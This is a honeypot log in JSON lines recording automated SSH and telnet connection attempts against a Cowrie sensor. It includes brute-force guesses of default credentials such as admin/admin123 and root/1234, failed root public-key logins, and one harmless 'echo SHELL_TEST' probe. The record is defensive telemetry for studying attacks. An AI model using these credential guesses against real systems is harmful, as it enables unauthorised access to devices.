{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:57.311297Z","src_ip":"62.133.62.83","session":"5954e51feb59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:08:57.698435Z","src_ip":"193.32.162.145","session":"e7f0d1439e84","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:00.126038Z","src_ip":"176.65.139.121","session":"a3542bea6322","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:00.177656Z","src_ip":"176.65.139.121","session":"a3542bea6322","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45790,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5f64d095bed","protocol":"telnet","message":"New connection: 152.42.224.71:45790 (10.17.0.5:23) [session: c5f64d095bed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:01.697785Z"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:02.155093Z","src_ip":"176.65.139.121","session":"a3542bea6322","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/2d21ee5994ccbac393712d22926106d165b22e692fafd71ea61b0f78c7a4b6f5","size":364,"shasum":"2d21ee5994ccbac393712d22926106d165b22e692fafd71ea61b0f78c7a4b6f5","duplicate":true,"duration":"3.5","message":"Closing TTY Log: var/lib/cowrie/tty/2d21ee5994ccbac393712d22926106d165b22e692fafd71ea61b0f78c7a4b6f5 after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:03.632212Z","src_ip":"176.65.139.121","session":"a3542bea6322","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.845666646957397,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:03.650311Z","src_ip":"176.65.139.121","session":"a3542bea6322","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":34864,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d8e9e41a4d5","protocol":"telnet","message":"New connection: 176.65.139.121:34864 (10.17.0.5:23) [session: 5d8e9e41a4d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:03.719710Z"}
{"eventid":"cowrie.session.closed","duration":2.413419008255005,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:06.132514Z","src_ip":"176.65.139.121","session":"5d8e9e41a4d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":60848,"dst_ip":"10.17.0.5","dst_port":23,"session":"2aec4033896a","protocol":"telnet","message":"New connection: 176.65.139.121:60848 (10.17.0.5:23) [session: 2aec4033896a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:06.229387Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54334,"dst_ip":"10.17.0.5","dst_port":23,"session":"da53ef294e1a","protocol":"telnet","message":"New connection: 152.42.224.71:54334 (10.17.0.5:23) [session: da53ef294e1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:06.408035Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54350,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd84ced009eb","protocol":"telnet","message":"New connection: 152.42.224.71:54350 (10.17.0.5:23) [session: fd84ced009eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:07.818070Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.199.106.159","src_port":53338,"dst_ip":"10.17.0.5","dst_port":22,"session":"496846f11905","protocol":"ssh","message":"New connection: 198.199.106.159:53338 (10.17.0.5:22) [session: 496846f11905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:07.865371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:07.871119Z","src_ip":"198.199.106.159","session":"496846f11905","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:07.954082Z","src_ip":"198.199.106.159","session":"496846f11905","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:b5:5b:28:11:73:b9:55:a1:d1:94:d2:e4:dc:e7:fb","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPEPzFj2nssR9aaUHyCvzCFEOX4V6BhFNMqczW2jRYYT","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a7:b5:5b:28:11:73:b9:55:a1:d1:94:d2:e4:dc:e7:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:08.343696Z","src_ip":"198.199.106.159","session":"496846f11905","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:b5:5b:28:11:73:b9:55:a1:d1:94:d2:e4:dc:e7:fb","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPEPzFj2nssR9aaUHyCvzCFEOX4V6BhFNMqczW2jRYYT","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:08.347811Z","src_ip":"198.199.106.159","session":"496846f11905","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:32:a9:e0:06:52:a4:2c:de:d2:0c:05:75:3a:d4:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCn6nzkWC40wZVHQz5tAAzd02nBiDAWhW/SNgN3P1zT9pFSPym5b8QoDDZ6tIKnEudNrXP1PEkplxQuBl1jeTaOO153ZsN1BTXvojgJHyHTTg2D8iB2f738DQKurm7ku2u4nG6n94a/Lz6MFC8UZwD6QDP8S7JNjgwLxY95y67hiOr95xGg5Un/xxKgkxzVX/0ocS0dsBIryjgPi2/cIkWM9JuLI8iwiIjQnfn+yDiixuj/cURHqpUCH/hSnZMC+HuJAIfteXXlhQq4wzWsQYeEBTG3qZHO8wtdIacu4ej0GY0VZR5rH+7UDriexylUqB+H7FDn0kJ/nlbEQ5w3iPkyXS4B6sNUzbNQsR7lYkkmkVK6QiR7VpIsCLjfrQdU5Izgb+TO/PUldjXmCaqJGe66IiRi7kTL1rzsXESptSsB6hPV30vKM7cdmPBqZPb1iBTEy8GFfUI+d2V04a705ygxH6t22urmc7K6B0zDed+tm01K81rwkmBjqv+b5q9KWX8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:32:a9:e0:06:52:a4:2c:de:d2:0c:05:75:3a:d4:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:08.436394Z","src_ip":"198.199.106.159","session":"496846f11905","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:32:a9:e0:06:52:a4:2c:de:d2:0c:05:75:3a:d4:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCn6nzkWC40wZVHQz5tAAzd02nBiDAWhW/SNgN3P1zT9pFSPym5b8QoDDZ6tIKnEudNrXP1PEkplxQuBl1jeTaOO153ZsN1BTXvojgJHyHTTg2D8iB2f738DQKurm7ku2u4nG6n94a/Lz6MFC8UZwD6QDP8S7JNjgwLxY95y67hiOr95xGg5Un/xxKgkxzVX/0ocS0dsBIryjgPi2/cIkWM9JuLI8iwiIjQnfn+yDiixuj/cURHqpUCH/hSnZMC+HuJAIfteXXlhQq4wzWsQYeEBTG3qZHO8wtdIacu4ej0GY0VZR5rH+7UDriexylUqB+H7FDn0kJ/nlbEQ5w3iPkyXS4B6sNUzbNQsR7lYkkmkVK6QiR7VpIsCLjfrQdU5Izgb+TO/PUldjXmCaqJGe66IiRi7kTL1rzsXESptSsB6hPV30vKM7cdmPBqZPb1iBTEy8GFfUI+d2V04a705ygxH6t22urmc7K6B0zDed+tm01K81rwkmBjqv+b5q9KWX8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:08.442366Z","src_ip":"198.199.106.159","session":"496846f11905","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:6b:11:7a:13:e2:51:b8:f1:4d:18:c1:54:37:47:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZFZXYdb48eM2Xb89fmz20qGxqq9ctrIO07cC/EVkZgDn7yNJ50EwdAn7H/ks3TjTurbsTxDlQMl6lvuyU1wlp5/x2wOVVoNF/5ZS0QTnvojpHj5z/GkAqKsIjYo4zTJw0jrlVNzxL/rzVx0SXaUkOotQuvrqn659vXYvdjQkiD4avuS4indOXAaKYcGOh9irv+Thkqmozu7Qnt76huxPOJ6LvrpIYguzN1eGbobzZHRCnQb9qYJt8THk7XgXyH0pphD4a22Fo2hfvn6KZgijB9rbCb/htfiKt0JM6wf4V6au5VNkgDdrWIRh8pIavRGNH7Zh2RDywvNz9nm5XzZH1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:6b:11:7a:13:e2:51:b8:f1:4d:18:c1:54:37:47:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:08.525348Z","src_ip":"198.199.106.159","session":"496846f11905","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:6b:11:7a:13:e2:51:b8:f1:4d:18:c1:54:37:47:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZFZXYdb48eM2Xb89fmz20qGxqq9ctrIO07cC/EVkZgDn7yNJ50EwdAn7H/ks3TjTurbsTxDlQMl6lvuyU1wlp5/x2wOVVoNF/5ZS0QTnvojpHj5z/GkAqKsIjYo4zTJw0jrlVNzxL/rzVx0SXaUkOotQuvrqn659vXYvdjQkiD4avuS4indOXAaKYcGOh9irv+Thkqmozu7Qnt76huxPOJ6LvrpIYguzN1eGbobzZHRCnQb9qYJt8THk7XgXyH0pphD4a22Fo2hfvn6KZgijB9rbCb/htfiKt0JM6wf4V6au5VNkgDdrWIRh8pIavRGNH7Zh2RDywvNz9nm5XzZH1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:08.530803Z","src_ip":"198.199.106.159","session":"496846f11905","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:82:94:83:c6:33:3c:b2:42:87:b8:76:d9:a8:a2:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDflUmABHls4jsBdOzXnCih6GMusjwCUluSEXRbIU79gwJTpXuCHRDB+tEjHj+3+JcMt2YAGCmoQXMlbDnPm1mXCyubh3/eMM/gKhuIXX8W/J3vHpnhNdDOhPyE9RQAAe08lxOpLvLAn1U6vLvYed9gvC0WQphi5ZHEUelqU5bPby4bVaubkC5YROKqm9c5jsXPJVxpWljRuO/1+9XbBiS/nWK11ZptfYPQEk59WUJg7plJiLGDJdQeyhEkE7cfJYDwhtsbgXSA5xI1m2cu//UmwUge1sQ6ra8LCvcCwlV2JeViXERYggTY0z5nxOt5BxU52/RuCdTtNmvYaaF+/+d9/m7/ZlUFzW5dk66d5V0lKwXYB6xDAcZ4zBz3G1+1+esbWCUCHaQZeXgHNtTNV7lG9KaXZlwgixeIB7lgnbuDGPh1FvxSpSFGgWCO6vdlnH2LNE+tryNbst2r13sd2hvxjcXorX8ML0WgsutKQwv3ZSuqvOY4sMWvWHY17PJFeB+KlT9ao6izkjX4Aa9SbhS2KRo/pYNEsPkoohkWIaxjOOLuVcbNn12qaTsmCi5TtDyG3/LDgbOWrxxoKJP3DMo1Zrr5S4x9P1SEf1iUoBuF3d6f7Y260h0N1E1H4ROWdD24mP+7knoqMyGIcI9NsizBqtSzaTsjOiUaNqzQbNKThQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:82:94:83:c6:33:3c:b2:42:87:b8:76:d9:a8:a2:c3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:08.620787Z","src_ip":"198.199.106.159","session":"496846f11905","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:82:94:83:c6:33:3c:b2:42:87:b8:76:d9:a8:a2:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDflUmABHls4jsBdOzXnCih6GMusjwCUluSEXRbIU79gwJTpXuCHRDB+tEjHj+3+JcMt2YAGCmoQXMlbDnPm1mXCyubh3/eMM/gKhuIXX8W/J3vHpnhNdDOhPyE9RQAAe08lxOpLvLAn1U6vLvYed9gvC0WQphi5ZHEUelqU5bPby4bVaubkC5YROKqm9c5jsXPJVxpWljRuO/1+9XbBiS/nWK11ZptfYPQEk59WUJg7plJiLGDJdQeyhEkE7cfJYDwhtsbgXSA5xI1m2cu//UmwUge1sQ6ra8LCvcCwlV2JeViXERYggTY0z5nxOt5BxU52/RuCdTtNmvYaaF+/+d9/m7/ZlUFzW5dk66d5V0lKwXYB6xDAcZ4zBz3G1+1+esbWCUCHaQZeXgHNtTNV7lG9KaXZlwgixeIB7lgnbuDGPh1FvxSpSFGgWCO6vdlnH2LNE+tryNbst2r13sd2hvxjcXorX8ML0WgsutKQwv3ZSuqvOY4sMWvWHY17PJFeB+KlT9ao6izkjX4Aa9SbhS2KRo/pYNEsPkoohkWIaxjOOLuVcbNn12qaTsmCi5TtDyG3/LDgbOWrxxoKJP3DMo1Zrr5S4x9P1SEf1iUoBuF3d6f7Y260h0N1E1H4ROWdD24mP+7knoqMyGIcI9NsizBqtSzaTsjOiUaNqzQbNKThQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:08.626639Z","src_ip":"198.199.106.159","session":"496846f11905","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:82:8b:40:88:7b:f1:d2:83:23:22:7e:18:48:35:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzXvfhEVhqFYW7K96lzT1zjdDwmJIhuSHgKJ7C7Rqcgi13MMLhIqJQS9Wv7UhsuikvYD2L4E+HT542MuRHXCSZAM1jY9EUNsgeiK0VEoh78wvgKy4gvsDqkFN29XEWm2KkCQAmRCIosVflEBTAAcEH4wKNz3FSZhhftZx5gC51ijIVBaSVERPjAfWrde3ktWjZ8FmfvymRqcQ1cGjofRmBLq42/zgjuRRgxUroGUIdujQJuXWWsVGXlItgyoclC0A4wg3u2EBvQmyP23FYSysFi0ZBo1Ogg1rWk8oZq+NwzETUg6iA6LOj8T2d2bwe+y8pLsbjek649Gv9XDY2m/S7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:82:8b:40:88:7b:f1:d2:83:23:22:7e:18:48:35:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:08.708878Z","src_ip":"198.199.106.159","session":"496846f11905","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:82:8b:40:88:7b:f1:d2:83:23:22:7e:18:48:35:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzXvfhEVhqFYW7K96lzT1zjdDwmJIhuSHgKJ7C7Rqcgi13MMLhIqJQS9Wv7UhsuikvYD2L4E+HT542MuRHXCSZAM1jY9EUNsgeiK0VEoh78wvgKy4gvsDqkFN29XEWm2KkCQAmRCIosVflEBTAAcEH4wKNz3FSZhhftZx5gC51ijIVBaSVERPjAfWrde3ktWjZ8FmfvymRqcQ1cGjofRmBLq42/zgjuRRgxUroGUIdujQJuXWWsVGXlItgyoclC0A4wg3u2EBvQmyP23FYSysFi0ZBo1Ogg1rWk8oZq+NwzETUg6iA6LOj8T2d2bwe+y8pLsbjek649Gv9XDY2m/S7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:08.713378Z","src_ip":"198.199.106.159","session":"496846f11905","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:08.806199Z","src_ip":"198.199.106.159","session":"496846f11905","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54360,"dst_ip":"10.17.0.5","dst_port":23,"session":"acb0287f4ab9","protocol":"telnet","message":"New connection: 152.42.224.71:54360 (10.17.0.5:23) [session: acb0287f4ab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:09.839301Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"","message":"login attempt [admin/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:11.636006Z","src_ip":"176.65.139.121","session":"2aec4033896a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.259455680847168,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:13.488699Z","src_ip":"176.65.139.121","session":"2aec4033896a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":60886,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca519e7a678d","protocol":"telnet","message":"New connection: 176.65.139.121:60886 (10.17.0.5:23) [session: ca519e7a678d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:13.569914Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:18.366446Z","src_ip":"176.65.139.121","session":"ca519e7a678d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.806955814361572,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:19.376610Z","src_ip":"176.65.139.121","session":"ca519e7a678d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":60624,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4b3b27b6b81","protocol":"telnet","message":"New connection: 176.65.139.121:60624 (10.17.0.5:23) [session: d4b3b27b6b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:19.515146Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:24.298771Z","src_ip":"176.65.139.121","session":"d4b3b27b6b81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.8482325077056885,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:26.363250Z","src_ip":"176.65.139.121","session":"d4b3b27b6b81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":57560,"dst_ip":"10.17.0.5","dst_port":23,"session":"c42f7c9f5279","protocol":"telnet","message":"New connection: 176.65.139.121:57560 (10.17.0.5:23) [session: c42f7c9f5279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:26.474369Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:32.991362Z","src_ip":"176.65.139.121","session":"c42f7c9f5279","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":47504,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb8e5f59c9d7","protocol":"ssh","message":"New connection: 103.15.222.183:47504 (10.17.0.5:22) [session: eb8e5f59c9d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:34.451406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:34.456269Z","src_ip":"103.15.222.183","session":"eb8e5f59c9d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:34.709133Z","src_ip":"103.15.222.183","session":"eb8e5f59c9d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.408239841461182,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:34.882468Z","src_ip":"176.65.139.121","session":"c42f7c9f5279","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":57574,"dst_ip":"10.17.0.5","dst_port":23,"session":"59adf9ae7370","protocol":"telnet","message":"New connection: 176.65.139.121:57574 (10.17.0.5:23) [session: 59adf9ae7370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:34.961239Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"christian","message":"login attempt [root/christian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:35.469077Z","src_ip":"103.15.222.183","session":"eb8e5f59c9d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50512,"dst_ip":"10.17.0.5","dst_port":23,"session":"3efac9679f36","protocol":"telnet","message":"New connection: 152.42.224.71:50512 (10.17.0.5:23) [session: 3efac9679f36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:35.486798Z"}
